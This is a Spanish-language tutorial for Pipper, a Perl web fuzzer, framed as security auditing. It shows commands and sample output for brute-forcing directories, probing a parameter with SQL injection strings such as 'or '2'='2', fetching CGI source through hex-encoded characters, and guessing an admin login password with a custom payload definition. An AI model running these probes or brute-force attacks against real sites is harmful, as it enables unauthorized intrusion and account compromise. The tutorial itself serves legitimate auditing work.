Podemos obtener una ayuda de los comandos disponibles ejecutando el programa con la opción "-h". La versión actual de Pipper muestra la siguiente información:

==[Pipperv1.23 by Mandingo]===========================================================
   Usage                 : pipper <url> [postData] [options]
==[Options]==========================================================================
   -pa|-pp|-pr <payload> : All parameter's Payload Append/Prepend/Replace
   -hc|-hl|-hw <c|l|w>   : Hide those response codes/lines/words (comma separated)
   -min|-med|-max|-html  : Minimalist/Medium/Full(default)/html Output
   -st <text>            : Show responses which matches <text>
   -sf                   : Show responses like First
   -v  <vars>            : Use those payloads vars (var1=val1,var2=val2...)
   -pn <payload>         : Force this payload name
   -j  <num>             : Jump to payload <num>
   -u|-u2  <user:pass>   : Set server user and password (-u Basic, -u2 NTLM)
   -x  <proxy:port>      : Set proxy server and port (-jap -> 127.0.0.1:4001)
   -X  <host:port>       : Set socks server and port (-tor -> 127.0.0.1:9050)
   -t  <num>             : Number of threads (def. 20)
   -c  <cookie>          : Set this cookie
   -C  <url>             : Retrieve cookie from URL
   -H  <headers>         : Set those header (head1:val1,head2:val2...)
   -p  <path>            : Path to payloads
   -m  <length>          : Max length of shown url
   -U|-L                 : Uppercase/Lowercase payloads
   -debug                : Debug mode
   -md5                  : Calculate payload's MD5 (hex. string)
   -n                    : Do not delete temp dir
   -r                    : Recursive mode
   -s                    : Sort results (no recursive)
   -l                    : List available payloads
   -I                    : Download full page ([postData] used)
   -R                    : Reverse the list
   -f                    : Show Full Urls
   -e                    : Eval payload (useful for fuzzing)

Ejemplo 1. Búsqueda de ficheros/directorios en un servidor Web


Una ejecución típica del programa, dentro del directorio de trabajo, podría ser la siguiente:

./pipper.pl "http://www.servidor.com/[file].asp" -v file=/wordlists/big.txt -hc 404

En este ejemplo "http://www.servidor.com/[file].asp" es la URL del servidor que pretendemos auditar, y [file], el nombre "payload" a usar. La posición de este "payload" dentro de la URL es clave, ya que en cada petición, éste será sustituido por un nuevo texto basado en unas reglas que hemos definido con anterioridad.

En concreto, este "payload" lo que hace es leer el contenido del fichero indicado por parámetro "file", en este caso "/wordlists/big.txt", para generar unas nuevas URLs. Este fichero contiene nombres de páginas y directorios ("index", "main", "config", etc.) sin extensión, usados típicamente en aplicaciones Web. A partir de él, se generarán tantas URLs como "nombres" haya:

http://www.servidor.com/index.asp
http://www.servidor.com/main.asp
http://www.servidor.com/config.asp
...

Lo siguiente que hacemos es indicarle a Pipper "qué ha de ocultar" cuando obtenga las respuestas de cada petición. En este caso le pedimos que oculte aquellas peticiones que devuelvan como código de respuesta 404 (Not Found).

Una salida típica del programa, usando las opciones mencionadas arriba, podría ser la siguiente:


# ./pipper.pl http://www.servidor.com/[file] -v file=/wordlists/big.txt -hc 404
==[Options]====================================================================
   Url            : http://www.servidor.com/[file]
   Vars           : file=/wordlists/big.txt
   Payloads Path  : .
   Hide Codes     : 404
   Download Page  : no
   Threads        : 20
   Aprox Requests : 3041
   Response Codes : 200 OK 204 Empty 301 Mved 401 Unauth. 404 NotFound 500 SrvError
==[Begin]=======================================================================
   Server         : Apache/2.0.55 (Debian) PHP/5.0.5-3
==============================================================================
   #00001 200 10 34
   #00002 200 10=34 /
   #00102 200 9 30  config
   #00591 403 5 17  cgi-bin/
   #01380 200 12 36 index
   #02090 301 6 20  php
   #02727 200 9 30  test
==[End]========================================================================


A partir de este resultado, podemos concluir lo siguiente:

  • La página principal (que será siempre la #00001 sin "payloads") tiene 10 líneas y 34 palabras. Esto es verdad si tenemos en cuenta que, por defecto, se realizará un "HEAD" contra el servidor, en lugar de un "GET" o "POST"; puede forzarse un "GET" o "POST" con el parámetro "-I" (ver ayuda del programa). Además, esta petición, devuelve un código 200 (OK), tal y como cabía esperar, ya que el servidor está activo y tiene una página por defecto.

  • La petición #00002 resulta ser de nuevo la página principal, ya que en el fichero "big.txt" aparece un "/" en la primera línea. El símbolo "=" indica que esta página tiene el mismo número de líneas que la principal. Esta información resulta útil cuando necesitemos saber "qué peticiones devuelven la misma página" (mismo número de líneas y palabras).

  • La petición #00102 revela la existencia de un fichero llamado "config" en el servidor, al igual que la #02727 que ha descubierto un fichero llamado "test".

  • Podemos ver también la presencia de un directorio donde posiblemente se mapean los cgi's, el cual no muestra su contenido (403 -> Forbidden).

  • Un directorio que si muestra su contenido es, en este caso, el "php" (petición #02090). El código 301 indica que ha sido "movido", pero aún así existe; una petición "php/" en lugar de "php" habría devuelto un código de respuesta 200.

  • El color naranja que aparece en las líneas nos da otra información, en este caso la diferencia en número de líneas/palabras entre la petición actual y la anterior. La segunda petición devuelve el mismo número de líneas/palabras que la primera petición, por lo tanto, el texto aparece en blanco. Las siguientes peticiones varían indicando que, por ejemplo, la página obtenida en la petición #00591 no tiene "nada" que ver con su predecesora, que es en este caso la #00102.

Ejemplo 2. Detección de "SQL Injections"



En este ejemplo vamos a comprobar si un "script" que tenemos que auditar es vulnerable a ataques de "SQL Injection", no importa si éste es "blind" o no ya para nosotros, en principio, todo es "blind". Una ejecución típica podría ser la siguiente:

./pipper.pl "http://debian/php/index.php?id=1[file]" -v file=sql_inj.txt -I -s

O lo que es lo mismo:

./pipper.pl "http://www.servidor.com/php/index.php?id=1[sql]" -I -s

Si nos fijamos en el contenido del fichero "payloads.xml" veremos que el "payload" [sql] genera exactamente los mismos resultados que la primera llamada: lee el fichero "sql_inj.txt" para generar las peticiones.

En este caso se ha utilizado la opción "-I" para descargar completamente las páginas (de lo contrario se realizarían únicamente HEAD's), ya que se comprobó que sin esta opción no se podía extraer ninguna conclusión; se obtenían códigos de respuesta "200", siempre con el mismo número de líneas y palabras.

En ocasiones será de gran utilidad ordenar los resultados con la opción "-s"; al usar esta opción no se mostrará la salida hasta que haya finalizado la última petición.

A continuación se muestra parte de la respuesta obtenida:


# ./pipper.pl "http://www.servidor.com/php/index.php?id=1[sql]" -I -s
==[Options]========================================================================
   Url            : http://www.servidor.com/[file]
   Payloads Path  : .
   Download Page  : yes
   Sort Results   : yes
   Threads        : 20
   Aprox Requests : 34
   Response Codes : 200 OK 204 Empty 301 Mved 401 Unauth. 404 NotFound 500 SrvError
==[Begin]=========================================================================
   Server         : Apache/2.0.55 (Debian) PHP/5.0.5-3
================================================================================
   #00001 200 23 69  php/index.php?id=1
   #00002 200 23=167 php/index.php?id=1'
   #00003 200 23=167 php/index.php?id=1"
   #00004 200 23=167 php/index.php?id=1)
   #00005 200 23=98  php/index.php?id=1--ora_sqls
   #00006 200 23=69  php/index.php?id=1/*mysql
   #00007 200 23=69  php/index.php?id=1%23mysql
   #00008 200 23=167 php/index.php?id=1'/*mysql
   #00009 200 23=167 php/index.php?id=1'%23mysql
   #00010 200 23=102 php/index.php?id=1+and+USER=USER
   #00011 200 23=73  php/index.php?id=1+and+2=2
   #00012 200 23=63  php/index.php?id=1+and+2=0
   #00013 200 23=85  php/index.php?id=1+or+2=2
   #00014 200 23=177 php/index.php?id=1'+and+'2'='2
   #00015 200 23=177 php/index.php?id=1'+and+'2'='0
   #00016 200 23=177 php/index.php?id=1'+or+'2'='2


De este resultado, podemos extraer lo siguiente:

  • La página por defecto #00001, tiene 23 líneas y 69 palabras.

  • De las peticiones #00002, #00003 y #00004 concluimos que "algo pasa" cuando colocamos caracteres inesperados en la variable "id". El "script" está esperando seguramente un número, con lo que un carácter no numérico hace que el aplicativo falle, posiblemente mostrando un mensaje de error.

  • Si nos fijamos en las peticiones #00006 y #00007 vemos algo interesante, el número de líneas y palabras coinciden con los de la página principal; puesto que ésta es la forma de hacer comentarios al final de una "query" en MySQL, probablemente nos encontremos frente a este motor y podamos hacer "algo".

  • Otras peticiones pueden darnos ideas de como realizar la inyección. Si nos fijamos en las peticiones #00011 y #00012, vemos que una inyección positiva sin comillas devuelve más información que una negativa. En cambio, si la inyección se realiza con comillas (peticiones #00014 y #00015), tiene toda la pinta de que obtenemos una respuesta de error.

Ejemplo 3. Bruteforcing



Pipper permite "bruteforcear" prácticamente cualquier parámetro de una petición Web. Para ello es necesario definir el "cómo", mediante el uso de "payloads".

En los ejemplos anteriores se vio uno de los "payloads" más comunes, el basado en diccionario y denominado [file]. Existen otros "payloads" cuya definición se encuentra también en el fichero "payloads.xml". Si ejecutamos "./pipper.pl -l" obtendremos un listado de los mismos.


# ./pipper.pl -l

==[ Payloads ]=============================================================================
  #1  hexa                Varios: desde %00 -> %FF
  #2  range               Varios: Genera un rango de valores. Params: [range] (ej. 0:9-a:z)
  #3  file                Varios: Comprueba existencia fichero. Params: [file].
  #4  fileExt             Varios: Comprueba existencia fichero con extensiones. Params: [file]
  #5  xss                 Varios: Comprueba XSS
  #6  sql                 SQLGen: Determina tipo injeccion
  #7  sql_blind           SqlSrv: Blind. (arg string) Params: [query] [pos]
  #8  sql_union_sqlserver SqlSrv: Total parametros Union
  #9  sql_union_count     SqlGen: Obtiene nº de columnas (sqlserver y oracle)
  #10 ora_union           Oracle: Total parametros Union (union 1,1,1...)
  #11 mysql_buscatabla    MySQL : Busca tablas. Params: [file]
  #12 mysql_union_count   MySQL : Total parametros Union. Params: [tabla]
  #13 mysql_blind_s       MySQL : Ejecuta funcion blind. (arg string) Params: [query] [pos]
  #14 mysql_blind_n       MySQL : Ejecuta funcion blind. (arg numerico) Params: [query] [pos]
  #15 mysql_blind_c       MySQL : Ejecuta funcion blind. (sin comillas) Params: [query] [pos]


A continuación se muestran unos problemas típicos de "bruteforce" y su solución:

Problema 1

Localizar todas las páginas Web y directorios de "http://www.servidor.com" (siendo éste un Apache con PHP)

Solución:

./pipper.pl http://www.servidor.com/[fileExt] -v file=/wordlists/big.txt,ext=-.php-.inc -r -hc 400,404

Nota: El "payload" [fileExt] requiere dos parámetros, un nombre de fichero y las extensiones a comprobar.
Estas extensiones se introducen en forma de lista usando un "-"como separador (está así indicado dentro del
fichero "payloads.xml"). Con la opción "-r" habilitamos las búsquedas recursivas.

Problema 2

El script "http://www.servidor.com/index.php?accion=view&id=15", permite hacer "algo" más?

Solución A:

./pipper.pl http://www.servidor.com/index.php?accion=[file]&id=15 -file=/wordlists/common.txt -hc 400,404

Solución B:

./pipper.pl http://www.servidor.com/index.php?accion=view&id=[range] -v range=1:999 -hl 100

Nota: La solución "A" puede revelar la existencia de nuevas opciones como pueden ser "edit", "admin",
"delete", etc.. La solución "B" puede ayudarnos con la enumeración de diferentes "id"s de interés.

Problema 3

¿Es posible descargarse el fichero "test.cgi" de "http://www.servidor.com/cgi-bin/test.cgi"? Suponemos que el servidor Web no filtra correctamente algunos parámetros de entrada por estar mal diseñado.

Solución A:

./pipper.pl http://www.servidor.com/cgi-bin/test.cgi[hexa]

Solución B:

./pipper.pl http://www.servidor.com/cgi-bin/test.[hexa]cgi

Nota: Algunos servidores Web operan de forma inesperada al encontrarse con los códigos "%00", "%20", "%0a", etc. en su URL permitiendo, en ocasiones, bajarse el código fuente de algunos ficheros.

Problema 4

Sabemos que existe un usuario llamado "admin" en el aplicativo a auditar, pero desconocemos su contraseña. Sabemos eso sí, que se compone de una palabra inglesa, dos caracteres numéricos y un símbolo de exclamación al final. ¿Cuál es?

Solución:

Editamos el fichero "payloads.xml" y añadimos lo siguiente:

<payload name="problema4" comments="Solucion al problema 4">
   <item file="/wordlists/ingles.txt">
   <item charset="0123456789">
   <item charset="0123456789">
   <item values="!">
</payload>

Ahora "bruteforceamos" la URL, que en este caso es:

http://www.servidor.com/login.php?usuario=admin&password=******

Para ello ejecutaremos:

./pipper.pl "http://www.servidor.com/login.php?usuario=admin&password=[problema4]" -hc 404

Nota: la pantalla de error no tiene por que devolver siempre un código de respuesta 404. Podemos basarnos también en el número de líneas devueltas y/o palabras para acotar resultados.

© Copyright S21sec Gestión S.A